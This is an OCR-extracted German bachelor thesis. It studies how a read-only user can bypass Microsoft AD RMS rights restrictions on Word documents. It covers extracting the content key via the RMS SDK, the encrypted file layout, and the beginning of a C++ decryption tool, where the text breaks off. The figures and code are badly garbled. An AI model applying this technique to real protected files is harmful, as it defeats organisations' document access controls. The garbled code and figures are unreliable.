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Abstract

In dieser Bachelorarbeit werden Schwachstellen der Rights Management Services von Microsoft in Win-
dows Server 2012 R2 untersucht. Ein erstes Ziel ist es ein Programm vorzustellen, welches es einem An-
greifer erlaubt, auf ein mit RMS geschiitztes Word-Dokument, auf welches er nur lesend zugreifen darf,
Vollzugriff zu erlangen. Des Weiteren werden zwei weitere Angriffe untersucht, namlich ob ein Benutzer
ein RMS geschiitztes Dokument im Namen eines anderen Benutzers erstellen kann und ob es moglich ist,
Vollzugriff auf ein geschiitztes Dokument zu erlangen, wenn nicht einmal das Leserecht gesetzt ist.



Inhaltsverzeichnis

1 Einfuhrung
L1 Motivation . . . . . . o oo e e e e e e e e
1.2 Zieledieser Arbeit . . . . . . ...
1.3 Gliederung dieser Arbeit . . . . . . . . . ...

2 Grundlagen
2.1 Enterprise Rights Management . . . . . . . . . . . . . . ... ...
2.2 OpenOffice XML . . . . . . . . L e
2.3 Active Directory Rights Management Services . . . . . . . . . . . . . ... ... ....
24 DPAPL . . . . e

3 Testumgebung

4 \Vollzugriff auf ein RMS geschitztes Word-Dokument erlangen, wenn nur das Lese-

recht gesetzt ist

4.1 Angriffsidee . . . . . . .. e e e
4.2 Voraussetzungen fiir den Angriff . . . . . . ..o o oL
4.3 Durchfithrung des Angriffs . . . . . . . . . . . ... ...
4.4 Struktur des Word-Dokuments . . . . . . . ..o o
4.5 Implementierung . . . . . . . . ... e e e e e e e e e
4.6 Fazitzumersten Angriff . . . . . . ... oL

5 Weitere Angriffsszenarien
5.1 Ubernehmen der Benutzeridentitit des Opfers . . . . . . . . ... ... ...........
5.2 Durchfithrung der Angriffe, wenn privater Schliissel des SPC des Opfers bekanntist . . . . .
5.3 Extrahieren des privaten Schliisselsdes SPC . . . . . . .. ... ... ... ...
5.4 Verwenden der DPAPI zum Entschliisseln der Registry-Eintrdge . . . . .. ... ... ...
5.5 Weitere Untersuchungen . . . . . . . . ... . L e
56 Fazit . . . . ..

6 Zusammenfassung
6.1 Ausblick . . . . . . e

Abbildungsverzeichnis

Literaturverzeichnis

10
11
12
12
13
15
22

24
24
25
26
27
30
30

31
31

32

34



1 Einfuhrung

In diesem Kapitel geht es um die Motivation der Arbeit. Auch werden hier die Ziele sowie die Gliederung
der Arbeit vorgestellt.

1.1 Motivation

Das Thema Rechteverwaltung spielt in Unternehmen eine immer wichtigere Rolle. So ist es besonders
in groBeren Unternehmen erwiinscht, dass der Zugriff auf digitale Dokumente fiir die Mitarbeiter einge-
schrankt wird. Nicht jeder Mitarbeiter soll Vollzugriff auf alle firmeninternen Ressourcen besitzen, sondern
Jeder sollte im Idealfall immer nur die Rechte haben, welche wirklich notwendig sind. In der Praxis oft
eingesetzt werden die Active Directory Rights Management Services (AD RMS) von Microsoft, um diese
Rechteeinschriankungen zu regeln. Bei einer Analyse der genauen Funktionsweise der AD RMS wurden
potentielle Schwachstellen entdeckt[1], die in dieser Bachelorarbeit ndher untersucht werden sollen. Es soll
herausgefunden werden, ob diese Schwachstellen in der Praxis ausnutzbar sind, sodass Unbefugte Rechte
fiir Dokumente erlangen konnen, die der Administrator so nicht vorgesehen hat. So wurde in Jan Kaiser’s
Bachelorarbeit dargelegt, dass es wahrscheinlich moglich ist, dass ein Benutzer, welcher zwar ein mit RMS
geschiitztes Dokument anzeigen kann, aber sonst keine Berechtigungen fiir dieses Dokument besitzt, diese
Rechteeinschriankung theoretisch umgehen kann. Dies wiire fiir das Unternehmen kritisch, wenn dieser Mit-
arbeiter das Unternehmen verldsst und so sensible Firmendokumente stehlen kann, welche er dann auf dem

Schwarzmarkt oder an die Konkurrenz verkaufen konnte.

1.2 Ziele dieser Arbeit

Das erste Ziel der Arbeit ist eine Anwendung mit dem RMS-SDK zu entwickeln, welche es ermdglicht,
ein mit RMS geschiitztes Word-Dokument zu entschliisseln, falls derjenige Benutzer, der die Anwendung
ausfiihrt, mindestens das Leserecht fiir das Dokument besitzt. Es soll gezeigt werden, wie dieser Angriff
genau funktioniert, welche Voraussetzungen gegeben sein miissen und wie ein solcher Angriff in der Pra-
xis aussieht. Ein weiteres Ziel dieser Arbeit ist die Analyse von zwei weiteren Angriffen. Einerseits soll
untersucht werden, ob ein Benutzer ein mit RMS geschiitztes Word-Dokument im Namen eines anderen
Benutzers erstellen kann. Anderseits soll herausgefunden werden, ob ein Nutzer auch Zugriff auf ein ge-
schiitztes Word-Dokument erhalten kann, wenn dieser nicht einmal das Leserecht fiir das entsprechende
Dokument besitzt. Getestet werden sollen diese Angriffe in einer Testumgebung, in der Windows Server
2012 R2 lauft.
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1.3 Gliederung dieser Arbeit

Zunidchst werden in den Grundlagenkapiteln dieser Arbeit die Begriffe erklirt, welche im Rahmen dieser
Bachelorarbeit benétigt werden. Dazu zéhlt die Funktionsweise der AD RMS, da das Verstdndnis dieser fiir
die Analyse der beschriebenen Angriffe notwendig ist. Auch wird die Funktionseise der DPAPI, einer in
Microsoft Windows integrierten Programmierschnittstelle, erlidutert; diese wird bei der Analyse des zweiten
und dritten Angriffs benotigt. Im dritten Kapitel wird eine Testumgebung vorgestellt, welche ein vereinfach-
tes Netzwerk in einem Unternehmen simulieren soll, in welchem die AD RMS verwendet wird. Die in dieser
Arbeit getesteten Angriffe wurden alle in dieser Testumgebung analysiert. Im vierten Kapitel wird eine in
Visual C++ entwickelte Anwendung vorgestellt, welche es einem Benutzer ermdglicht, auf ein mit RMS ge-
schiitztes Word-Dokument Vollzugriff zu erlangen, sofern dieser Benutzer das Leserecht fiir das Dokument
besitzt. Des Weiteren werden in diesem Kapitel alle notwendigen Voraussetzungen fiir diesen Angriff disku-
tiert. Die beiden weiteren Angriff werden im fiinften Kapitel zusammen behandelt, da die Vorgehensweise

dhnlich ist. SchlieBlich werden im letzten Kapitel die Ergebnisse der Arbeit zusammengefasst.



2 Grundlagen

In diesem Kapitel werden einige grundlegende Begriffe erldutert. Dies sind zum einen Enterprise Rights Ma-
nagement, sowie Open Office XML, da die Angriffe auf mit RMS geschiitzte Microsoft Word-Dokumente im
.docx-Format getestet weden, welche grundsitzlich auf diesem Format basieren. Danach wird auf die grund-
legende Funktionsweise der AD RMS von Microsoft eingegangen, es werden diejenigen Details erldutert,
welche fiir das Verstindnis der Angriffe notwendig sind. Eine vollstindige Analyse der Funktionsweise der
AD RMS wird hier nicht behandelt, diese ist in Jan Kaiser’s Bachelorarbeit zu finden. SchlieBlich wird die
Funktionsweise der DPAPI erlédutert, diese spielt bei dem zweiten und dritten Angriff eine entscheidende
Rolle. Alle weiteren Begrifflichkeiten sowie spezielle Details werden an den Stellen in der Arbeit erklért, an

denen sie gebraucht werden.

2.1 Enterprise Rights Management

Besonders in Unternehmen spielt das Thema Rechteverwaltung eine zentrale Rolle. So miissen dort fiir jeden
Mitarbeiter die Zugriffe auf digitale Dokumente und Verzeichnisse eingeschrinkt werden. Beispielsweise
konnen bestimmte firmeninterne Dokumente so geschiitzt werden, dass Mitarbeiter nur lesend auf diese
Dokumente zugreifen diirfen. Diese Art der Rechteverwaltung wird Enterprise Rights Management (ERM)
genannt; ein in der Praxis oft verwendetes ERM-System sind die Active Directory Rights Management

Services von Microsoft, um welche es in dieser Bachelorarbeit gehen wird.

2.2 Open Office XML

Open Office XML (auch ISO/IEC 29500 Information technology — Office Open XML formats oder ECMA-
376 Office Open XML File Formats) beschreiben Dateiformate auf XML-Basis, welche seit der Einfithrung
von Microsoft Office 2007 existieren. Die Dateiendungen sind .docx fiir Microsoft Word, .xlsx fiir Microsoft
Excel und .pptx fiir Microsoft PowerPoint. Das Format bringt einige Vorteile mit sich, wie bespielsweise eine
stark reduzierte DateigroBe, da das Open XML Format die ZIP-Komprimierungstechnologie verwendet[2].
Ein weiterer Vorteil ist beispielsweise die verbesserte Wiederherstellung beschidigter Dateien, da die Datei-

en so aufgebaut sind, dass die einzelnen Komponenten voneinander getrennt sind.
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2.3 Active Directory Rights Management Services

Die Microsoft Active Directory Rights Management Services (RMS) sind eine von fiinf verschiedenen Ser-
verrollen, welche durch den Netzwerkadministrator in Windows Server hinzugefiigt werden konnen. RMS
basiert auf einer public key infrastructure (PKI), bestehend aus verschiedenen Zertifikaten und Lizenzen
(siehe Abbildung).
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Abbildung 2.1: Abhingigkeiten der Zertifikate und Lizenzen
(3]

Ein AD RMS Server ist gekennzeichnet durch ein Server Licensor Certificate (SLC), welches im Fall von
Windows Server 2012 R2 selbstsigniert ist. Jeder Client Computer hat ein sogenanntes Security Proces-
sor Certificate (SPC), dieses identifiziert den jeweiligen Computer; durch zwei weitere Zertifikate Rights
Account Certificate (RAC) und Client Licensor Certificate (CLC) wird der Benutzer identifiziert. Diese
Zertifikate (SPC, RAC und CLC) werden erstellt, wenn ein Benutzer zum ersten Mal eine Datei mit RMS
schiitzt oder zum ersten Mal eine mit RMS geschiitzte Datei 6ffnet. Alle Zertifikate und Lizenzen haben
einen Issuer, dieser ist der Ersteller des jeweiligen Zertifikats bzw. der jeweiligen Lizenz. Zudem hat je-
des Zertifikat einen 6ffentlichen und einen privaten Schliissel. Der private Schliissel steht nie im Zertifikat
selbst, sondern er ist verschliisselt mit dem Offentlichen Schliissel eines anderen Zertifikats (siche Grafik).
Eine Ausnahme ist hier der private Schliissel des SPC, dieser liegt mit der DPAPI und RSAVault geschiitzt
in der Registry des jeweiligen Benutzers. Wenn eine Datei mit RMS geschiitzt wird, wird eine sogenannte
Publshing License (PL) erstellt. Diese enthilt den Namen des Autos der Datei, die Rechte, die der Autor fiir
andere Benutzer vergeben hat, den Content-Key, mit welchem die entsprechende Datei geschiitzt wird (der

Content-Key ist mit dem 6ftentlichen Schliissel des SLC geschiitzt), sowie eine Signatur iiber die Publishing
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License, erstellt mit dem privaten Schliissel des CLC. Diese PL wird an den Server gesendet, des Weiteren
steht sie in dem entsprechenden geschiitzten Dokument. Wenn ein Benutzer eine geschiitzte Datei 6ffnet, so
sendet der Server diesem Benutzer eine sogenannte Use License (UL), diese enthilt den Content-Key der
Datei, welcher mit dem offentlichen Schliissel des RACs des Benutzers verschliisselt wird, sowie die Rechte,
die der Autor der Datei fiir diesen Benutzer vergeben hat. Der Content-Key wird darauthin mit dem privaten
Schliissel des RACs entschliisselt, welcher der Anwendung zusammen mit den Rechten iibergeben wird.
Da der Content-Key nicht an die Rechte gebunden ist und die Anwendung im Endeffekt fiir das Einhalten
der Rechte verantwortlich ist, kann der Content-Key prinzipiell isoliert von den Rechten verwendet werden,
um Dokumente zu entschliisseln. Dies wird im vierten Kapitel dieser Arbeit betrachtet. Offnet der Autor
der Datei das geschiitzte Dokument selbst, so findet dies offline statt, denn die UL des Autors ist immer
in der geschiitzten Datei vorhanden, d.h. er kann den Content-Key mit dem privaten Schliissel seines RAC

entschliisseln. Es werden in diesem Fall also keine Informationen vom Server an den Benutzer geschickt.
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2.4 DPAPI

Die DPAPI (Data Protection Application Programming Interface) ist eine einfache Programmierschnitt-
stelle, die in Windows 2000 und allen nachfolgenden Versionen verfiigbar ist. Sie stellt zwei Funktionen
bereit, die von Benutzer- und Systemprozessen verwendet werden konnen. Diese zwei Funktionen sind eine
Verschliisselungs- und eine Entschliisselungsfunktion mit jeweils weiteren Optionen. Die Funktionalititen
werden durch das Betriebssystem selber bereitgestellt, d.h. es sind keine zusétzlichen Bibliotheken notwen-
dig, um die Funktionen der DPAPI verwenden zu kénnen; es muss lediglich die Crypt32.dIl geladen werden,
denn die DPAPI-Schnittstelle ist ein Teil dieser DLL (Dynamic Link Library), die Crypt32.dll wiederrum
ist ein Teil der CryptoAPI. Im Folgenden Schaubild ist die Funktionsweise der DPAPI zu sehen.
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Authority (LSA) Authority (LSA)

Abbildung 2.2: Funktionsweise der DPAPI
[4]

Eine Anwendung, welche die DPAPI benutzt, kann einen beliebigen Klartext der DPAPI Verschliisselungs-
funktion iibergeben, worauthin die Funktion einen lokalen Remote Procedure Call an die Local Security
Authority (LSA) durchfiihrt. Die LSA ist ein Systemprozess, welcher immer lduft, wenn der Computer ge-
bootet ist, sie authentifiziert den Benutzer und loggt diesen ins lokale System ein. Auch ist sie verantwortlich,
dass bestimmte Sicherheitsrichtlinien auf dem System eingehalten werden. Die eigentliche Verschliisselung
wird in der Crypt32.dll realisiert. Nach erfolgreicher Verschliisselung liefert die Funktion einen geschiitz-
ten DPAPI data blob (Im Folgenden einfach Data-Blob genannt) zuriick. Die Entschliisselungsfunktion der
DPAPI kann diesen Data-Blob wieder entschliisseln, der Vorgang ist analog zur Verschliisselung. Die DPA-
PI ist darauf ausgelegt Verschliisselungsfunktionenen fiir den Benutzer bereitzustellen, daher spielt bei der

Verschliisselung das Login-Passwort des jeweiligen Nutzers eine zentrale Rolle. Das Passwort direkt wird
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allerdings nicht verwendet, sondern ein Hash des Passworts. Eine Anwendung, konnte theoretisch einen ge-
schiitzten Data-Blob entschliisseln, welcher von einer anderen Anwendung erstellt worden ist, sofern beide
Anwendungen unter dem gleichen Benutzer laufen. Da es Fille gibt, bei denen dies nicht erwiinscht ist,
ist es moglich sekundire Entropie, also ein zusitzliches Geheimnis, zu verwenden, wenn Daten mit der
DPAPI-Verschliisselungsfunktion geschiitzt werden sollen. Die Entschliisselung kann daraufhin nur erfolg-
reich durchgefiihrt werden, wenn der DPAPI-Entschliisselungsfunktion diese sekundire Entropie wieder als
Parameter iibergeben wird. Jede Anwendung ist selbst dafiir verantwortlich, wo der entstandene Data-Blob
und die eventuell genutzte sekundédre Entropie abgespeichert wird. Wenn es gewiinscht ist, dass keine an-
deren Anwendungen den geschiitzten Data-Blob entschliisseln sollen, so darf die Entropie nicht einfach

ungeschiitzt in einer Datei abgespeichert werden.

Schliisselgenerieung:

Die DPAPI erstellt einen Master-Key, dieser wird aus dem Passwort des jeweiligen Benutzers abgeleitet.
Das Verfahren, welches dazu verwendet wird nennt sich Password-Based Key Derivation, welches in PKCS
#5 beschrieben wird. Dieser abgeleitete Master-Key ist mit dem Passwort verschliisselt, als Verfahren wird
Tripple-DES verwendet. Werden Daten mit der DPAPI verschliisselt, wird allerdings nicht der Master-Key
selbst benutzt, sondern es wird ein Session-Key generiert, welcher vom Master-Key selber, von zufélligen
Daten und von der eventuell benutzten sekundiren Entropie anhédngt. Die zufilligen Daten werden in dem
geschiitzten Data-Blob abgespeichert. Wird die Entschliisselungsfunktion auf diesen Data-Blob angewen-
det, werden diese zufilligen Daten aus dem Data-Blob extrahiert, um damit den Session-Key zu generieren,
welcher dann fiir die Entschliisselung verwendet wird. Der Session-Key selber wird normalerweise nicht
abgespeichert. Die Struktur der entstehenden Data-Blobs ist von Microsoft nicht dokumentiert, allerdings

konnte passcape[5] die Struktur vollstdndig rekonstruieren.

DPAPI data blob

DWORD dwVersion

GUID guidProvider

DWORD dwMasterKeyVersion
GUID guidMasterKey

DWORD dwFlags

BYTE szDataDescription[dwDataDescriptionLen]
ALG_ID algCrypt

DWORD dwCryptAlgLen

BYTE pSalt[dwSaltLen]

BYTE pHmac[dwHmacKeyLen]
ALG_ID algHash

DWORD dwHashAlgLen

BYTE pHmac2[dwHmac2KeylLen]

BYTE pData[dwDatalen]
BYTE pSign[dwSignLen] V

Abbildung 2.3: Struktur der Data-Blobs nach passcapel[5]



3 Testumgebung

Um die Angriffe auf die Rights Management Services von Microsoft zu testen, wird eine Testumgebung
benotigt, die hier kurz erldutert werden soll. Diese Testumgebung soll ein Netzwerk in einem Unternehmen
simulieren, in welchem die AD RMS verwendet werden. Grundsétzlich ist diese Testumgebung die gleiche
wie in Jan Kaiser’s Bachelorarbeit Analyse von Microsofts Rights Management Services in Windows Server
2012 R2, dort ist auch eine Anleitung fiir die Einrichtung dieser Testumgebung zu finden.

192,166.129,.54 192 168.129.45 192.168.129.55

10.5.0.2 1050 1 10.5.0.3

Abbildung 3.1: Aufbau der Testumgebung
[1]
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Die Testumgebung besteht aus drei virtuellen Maschinen, wobei zwei davon als Clients konfiguriert sind,
auf welchen jeweils Windows 7 Enterprise in der 64bit Version lduft. Die andere virtuelle Maschine ist als
Server konfiguriert, als Betriebssystem wird hier Windows Server 2012 R2 verwendet. Damit die Maschinen
miteinander kommunizieren konnen, sind diese iiber einen Switch miteinander verbunden, es ist also eine
Netzwerkkarte dementsprechend konfiguriert, sodass diese Kommunikation méglich ist. Damit die beiden
Clients und der Server auf das Internet zugreifen konnen, haben die Maschinen jeweils eine weitere Netz-
werkkarte, die entsprechend konfiguriert ist. Der Zugriff auf das Internet selbst findet iiber einen NAT-Router
statt. Es sind drei Benutzerkonten vorhanden, welche auf beiden Clients verwendet werden konnnen, diese
Benutzerkonten heilen Max Mustermann, Erika Musterfrau und Hans Meier. Um die Angriffe zu testen
ist noch weitere Software notwendig, die auf den beiden Clients installiert werden muss. Zum einen wird
Microsoft Office benotigt, da es in dieser Bachelorarbeit um Microsoft Word-Dokumente im .docx-Format
geht, auf welche die jeweiligen Angriffe getestet werden; hier verwendet wird die Version 2013. Um eine
Anwendung entwickeln zu konnen, welche ein mit RMS geschiitztes Word-Dokument entschliisselt, wird
eine geeignete Entwicklungsumgebung benétigt, verwendet wurde hier Microsoft Visual Studio 2015 Pro-
fessional. Als letztes wird noch das RMS SDK 2.1 benétigt, da diese die Funktionen bereitstellt, um eine

Anwendung mit RMS-Funktionalititen zu erstellen, hier verwendet wurde die Version vom 11.12.2015.



4 Vollzugriff auf ein RMS geschiutztes
Word-Dokument erlangen, wenn nur das
Leserecht gesetzt ist

In diesem Kapitel wird das Szenario betrachtet, dass ein Benutzer in einer Domine auf ein mit RMS ge-
schiitztes Word-Dokument lesend zugreifen kann, aber sonst keine Berechtigungen fiir dieses Dokument hat.
Der Benutzer kann sich den Inhalt des Dokuments wie gewohnt anzeigen lassen, indem er es mit Word 6ff-
net. Im folgenden Beispiel wird ein Word-Dokument namens vonErikaAnMax.docx betrachtet, welches auf
Client2 unter Erika Musterfrau erstellt wurde und auf Client] mit dem Benutzer Max Mustermann gedffnet
werden soll. Es wird daraufhin eine Anwendung vorgestellt, welche den Schutz des Dokuments entfernen
kann, sodass Max Vollzugriff auf das Dokument erlangt. AuBerdem werden alle notwendigen Voraussetzun-

gen besprochen, welche notwendig sind, um diesen Angriff durchzufiihren. Versucht Max Mustermann die

@) EINGESCHRANKTER ZUGRIFF. Berechtigung istaurzeit eingeschrankt, Nur bestimmte Benutzer haben Zugriff 2u diesern Inhalt,

Meine Berechtigung ﬂﬂ

Sie sind authentifiziert, um diese(s] Dokument anzuschauen
als:

max.mustermann@test-damain.canm

Eine Uberschrift

Ein Text

Eingeschrinkter Zugriff - Berechtigung ist zurzeit
eingeschrinkt, Mur bestimmte Benutzer haben Zugriff zu
diesem Inhalt,

Siewerfligen Ober die folgenden Berechtigungen:

Ansicht: Ja
Bearbeiten: Meir
Kapieren: Mein
Drucken: Mein
Speichern: Mein
Exportieren: Mein
Auf diese[s) Dokument programmatisch zugreifen:  Mein
“Wallzugriff: Mein
. Wieitere Berechtigunaen anforderr.., oK
Abbildung 4.1: Max offnet die Datei Abbildung 4.2: Berechtigungen von Max

Datei zu 6ffnen, so kann er sich zwar den Inhalt anzeigen lassen, jedoch hat er keine Moglichkeit die Datei
zu kopieren oder zu drucken, da Erika Musterfrau ihm diese Rechte nicht eingerdumt hat. Dies wird auch

ersichtlich, wenn Max Mustermann sich alle Rechte anzeigen ldsst, welche er fiir dieses Dokument besitzt.



4.1 Angritfsidee 11

4.1 Angriffsidee

Da der Benutzer Max Mustermann den Inhalt des Dokuments anzeigen kann, besitzt er eine giiltige UL. In
dieser UL steht einerseits der Content-Key, mit welchem das Dokument geschiitzt ist; sie enthilt auch die
Rechte, die der Autor der Datei (in diesem Fall Erika Musterfrau) fiir Max eingerdumt hat. Die Angriffsidee
besteht darin, die Rechteeinschrinkung zu ignorieren und den Content-Key zu verwenden, um das geschiitz-
te Dokument vollstdndig zu entschliisseln, um so den Schutz zu entfernen. Microsoft stellt ein RMS-SDK
bereit, mit welchem eigene Anwendungen mit RMS-Funktionen entwickelt werden konnen. Fiir den Angriff
muss eine geeignete Funktion gefunden werden, welche mit RMS geschiitzten Inhalt entschliisseln kann. Es
stehen im RMS-SDK 2.1 vier Funktionen zur Verfiigung, welche hier kurz niher untersucht werden, um zu

beurteilen, ob diese fiir den Angriff in Frage kommen oder nicht.

IpcfReadFile()[6]: Die IpcfReadFile()-Funktion ist eine File-API Funktion, d.h. der Funktion kann ein mit
RMS-geschiitzes Dokument iibergeben werden, woraufhin das Dokument entschliisselt wird. Leider kann
diese Funktion hier nicht verwendet werden, da die File-API keine nativ geschiitzten Dokumente unterstiitzt,

wozu auch Office-Dokumente gehoren.

IpcfDecryptFile()[7]: Die IpcfDecryptFile()-Funktion ist ebenfalls eine File-API Funktion, des Weiteren
wird das EXTRACT-Recht fiir das entsprechende Dokument benétigt, um diese Funktion erfolgreich aus-

zufiihren. Diese Funktion kommt also auch nicht in Frage.

IpcfDecryptFileStream()[8]: Hier liegt der gleiche Fall wie bei der IpcfDecryptFile()-Funktion vor, da-

her kann auch diese Funktion nicht fiir den Angriff verwendet werden.

IpcDecrypt()[9]: Die letzte Funktion ist die IpcDecrypt()-Funktion und die einzige die fiir den Angriff ver-
wendet werden kann, da sie keine File-API Funktion ist. Allerdings ist es hier nicht moglich, der Funktion
einfach das geschiitzte .docx-Dokument zu iibergeben, da der Funktion die verschliisselten Bytes {ibergeben

werden miissen und nicht das geschiitzte Dokument an sich mit seiner gesamten Dokumentenstruktur.

Um den Angriff durchzufithren muss also eine Anwendung mit dem RMS SDK 2.1 entwickelt werden,
welche den geschiitzten Inhalt in vonErikaAnMax.docx extrahiert und der IpcDecrypt()-Funktion iibergibt.
Zuvor muss der Content-Key aus der UL eingelesen werden, welche der Server dem Benutzer ausstellt; dies
wird erreicht, indem die IpcGetKey()-Methode[10], welche das RMS-SDK 2.1 ebenfalls zur Verfiigung stellt
auf die in dem Dokument enthaltene Lizenz angewendet wird. Streng genommen ist in dem Dokument eine
Lizenzkette iiber weitere, in diesem Kontext nicht relevante, Zertifikate enthalten. Der Einfachheit halber

wird in den folgenden Abschnitten aber immer nur von der Lizenz gesprochen, die eingelesen werden muss.
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4.2 Voraussetzungen flr den Angriff

Um den Angriff durchzufithren muss derjenige Benutzer in der Doméne, welcher das Dokument entschliis-
seln soll, mindestens das Leserecht fiir das Dokument besitzten, andere Rechte sind nicht notwendig. Auch
das Recht auf diese(s) Dokument programmatisch zugreifen ist nicht erforderlich. Des Weiteren muss die
aktuelle Version des RMS Clients 2.1 auf der Maschine des Angreifers installiert sein, welche zum Zeitpunkt
des Schreibens dieser Bachelorarbeit die Version vom 12.11.2015 ist. Da die in diesem Kapitel vorgestellte
Anwendung Funktionen der Common Language Runtime verwendet, muss zusitzlich das Visual C++ Re-
distributable 2015 installiert sein, da dieses das Verwenden dieser Funktionen ermdglicht. Sind alle diese
Voraussetzungen gegeben, kann der ensprechende Benutzer das Word-Dokument in seine XML-Struktur
zerlegen (beispielsweise mit einem Programm wie 7zip[2]) und die Anwendung ausfiihren und somit den
Schutz der Datei entfernen. Beim Ausfiihren des Programms muss der Client eine Verbindung zum RMS-

Server aufbauen konnnen, der Angriff funktioniert also nicht offline.

4.3 Durchfihrung des Angriffs

Die Durchfiihrung des Angriffs ist fiir den Benutzer sehr einfach. Es muss lediglich die Anwendung in den
gleichen Ordner legen wie die XML-Dateien der verschliisselten Word-Datei und dann die Anwendung aus-

fiihren. Daraufhin erhilt der Benutzer das entschliisselte Word-Dokument mit dem Namen decrypted.docx.

kdicrosoft Wiford ﬂﬂ

Leider kann "decrypted.doce” nicht gedffnet werden, da der Inhalt
Probleme werursacht,

OF 4 Details ==

Abbildung 4.3: Fehlermeldung 1 beim Versuch die Datei zu 6ffnen

Micrasoft Ward x|

! “on Word wurde nicht lesbarer Inhalt in decrypted.doo gefunden, Machten Sie den Inhalt des Dokuments wiederherstellen? Klicken Sie
auen,

L« auf'Ja’ weenn Sie der Dokumentquelle vertr
Ja ‘ Mein

Abbildung 4.4: Fehlermeldung 2 beim Versuch die Datei zu 6ffnen

Ein Versuch diese Datei zu 6ffnen scheint zu einem Fehler zu fithren, da Word eine Fehlermeldung ausgibt,
in der es heifit, dass der Inhalt Probleme verursacht. Wird diese Fehlermeldung mit OK bestitigt erscheint
eine weitere Meldung, dass der Inhalt wiederhergestellet werden kann. Wird diese Meldung mit Ja besta-
tigt zeigt Word den ungeschiitzten Inhalt der Datei an. Der Benutzer kann nun den Inhalt des Dokuments

kopieren, da der Schutz vollstindig entfernt worden ist.
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Abbildung 4.5: entschliisselter Inhalt mit aktivierter Kopieren-Funktion in Word

4.4 Struktur des Word-Dokuments

Da die Anwendung verschiedene Bereiche der verschliisselten Datei einlesen muss, ist es sinnvoll, das ver-
schliisselte Dokument zunéchst einmal in seine XML-Struktur zu zerlegen. Die XML-Struktur kann bei-
spielsweise mit einem Programm wie 7zip angezeigt werden. In den folgenden Unterkapiteln wird dann der
Aufbau der fiir den Angriff relevanten XML-Files niher erldutert.

CUsers\raxmustermann\DesktophDokurnentelwonErikadnhaxdoc,
Datei  Bearbeiten Ansicht  Favoriten  Extras 7

N

Hinzufigen Entpacken Oberprifen Kopieren Werschieben Laschen

: 7 |l‘ll' CilsershmaxmustermanniDesktophDokumenteiwvonErikatinbdadood,

Marne Grifie | Gepackt.. | Qrdner Dateien
MsoDstastore | 595 640 L 2
[6]DataSpaces 39056 39232 3 4

| EncryptedPackage 660 280 a0 480

L [81DocurmentSummandnformation 292 320

L [515ummanyInformation 416 448

Abbildung 4.6: XML-Dateien des verschliisselten Word-Dokuments

4.4.1 [6]Primary

[6]Primary befindet sich im Unterverzeichnis [6]DataSpaces\TransformInfo\DRMEncryptedTransform. In
dieser Datei ist die Lizenz enthalten, somit ist [6]Primary immer vorzufinden, wenn ein Word-Dokument mit
RMS geschiitzt worden ist. Aus der Abbildung ist erkennbar, dass sich am Anfang der Datei Metadaten be-
finden, genauer gesagt befinden sich diese Metadaten immer in den ersten 172 Bytes der Datei. Die nichsten
vier Bytes (0xF2, 0x96, 0x00 und 0x00) geben zusammen die Anzahl der Bytes der Lizenz an. Nun folgt
die eigentliche Lizenz, welche im Fall von vonErikaAnMax.docx bis zum drittletzten Byte der Datei geht.



4.4 Struktur des Word-Dokuments

14

Nach der Lizenz folgen nur noch zwei Nullbytes. Warum sich diese Nullbytes dort befinden, konnte nicht

herausgefunden werden. In allen wihrend dieser Arbeit analysierten Word-Dokumente, waren am Ende von

[6]Primary null bis drei Nullbytes vorhanden.

0x0000:
0x0010:
0xz0020:
0z0030:
0x0040:
0xz0050:
0xz0060:
0x0070:
0xz0080:
0z0090:
0x00A0:
0xz00B0:
0z00C0:
0z00D0:
0xz00ED:
0z00F0:
0x0100:

0x0110:
Mwt 7.

Hoovoom | e
Dokt E R e

<?zml wversion="1
07 <ErML versi
on="1.2" zmlns="
"> <BODY type="Mi
crosoft Rights L
abel" wversion="3

LO0"><ISSUEDTIME>
INTE-N?-22T2N- 27

Abbildung 4.7: Auschnitt von [6]Primary im Hex-Editor

4.4.2 EncryptedPackage

In der EncryptedPackage-Datei befindet sich der verschliisselte Inhalt. Die ersten acht Bytes geben jedoch

Auskunft dariiber, wie viele Bytes der Klartext enthélt. Der verschliisselte Inhalt beginnt bei Byte neun

und geht bis zum Ende von EncryptedPackage. Der Inhalt ist immer mit AES-128 verschliisselt, wobei der

Schliissel der Content-Key aus der Use-License ist. Als Betriebsmodus wird Electronic Code Book mit 16

Byte groBlen Blocken verwendet, wobei der Initialisierungsvektor null ist.[11]

Abbildung 4.8: Auschnitt von EncryptedPackage im Hex-Editor

0z00000:
0z00010:
0z00020:
0z00030:
0z00040:
0z00050:
0z00060:
0z00070:
0z00080:
0z00090:
O0z000A0:
0z000BO:
0z000C0:
0z000D0:

M= NANTN -

Iy KK
O .0t -717 I
9F&. . L H.PRARILA.
prylaliE. U351, 74
ctlH- . Sk 1. aalEl

"A.'.@ PB}.oalEl
"A.'.@ PB}.oaNEl
"A.'.@ PB}.oalEl
"A.'.@ PB}.oaNEl
"A.'.@ PB}.oalEl
"A.'.@ Pb}.oalEl
"A.'.@ Pk}.oaNEl
"A.'.@ Pb}.oalEl
"A.'.@ Pk}.oaNEl
a1 @ Dh1 AsRTRL
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4.5 Implementierung

In diesem Unterkapitel werden alle relevanten Codeabschnitte der in Visual C++ erstellten Anwendung vor-
gestellt, um zu verstehen, wie der Angriff funktioniert. Der vollstandige Code inklusive des Visual Studio
Projekts ist auf der zu dieser Bachelorarbeit zugehdrigen CD zu finden. Prinzipiell liest die Anwendung
zunichst die notwendigen Bytes aus [6]Primary ein. Diese Bytes werden in ein geeignetes Format gebracht,
um daraufhin eine Struktur zu initialisieren, welche gebraucht wird, um den Content-Key auslesen zu kon-

nen. Als néchstes werden die notwendigen Bytes aus EncryptedPackage ausgelesen, worauthin der Inhalt

mit der IpcDecrypt()-Funktion entschliisselt und in eine Datei geschrieben wird.

int __cdecl main ()

{

IpclInitialize (); // notwendig, um Funktionen des RMS SDK 2.1

std :: streampos size;

char % license = new char[50000];

char xml_size_bytel; //

Byte, welches die

char xml_size_byte2; // 2. Byte, welches die

char content_size_bytel;
char content_size_byte2;
char content_size_byte3;

char content_size_byte4;

/1
/1
/1
/1

char byte_read; // Puffer,

char lastbyte;

L.
2.
3.
4.

in

Byte, welches
Byte, welches
Byte, welches
Byte, welches

Laenge der

Laenge der

die
die
die
die

// Puffer fuer die Lizenz,

Laenge des
Laenge des
Laenge des

Laenge des

welchen nacheinander die Bytes

int xml_size; // Laenge der Lizenz

int i, nullbytecounter = 0;

array <Byte> “contentBytes;

geschrieben werden
/]

Zunichst wird die Ipclnitialize() — Funtkion aufgerufen. Diese ist notwendig, damit tiberhaupt andere Funk-
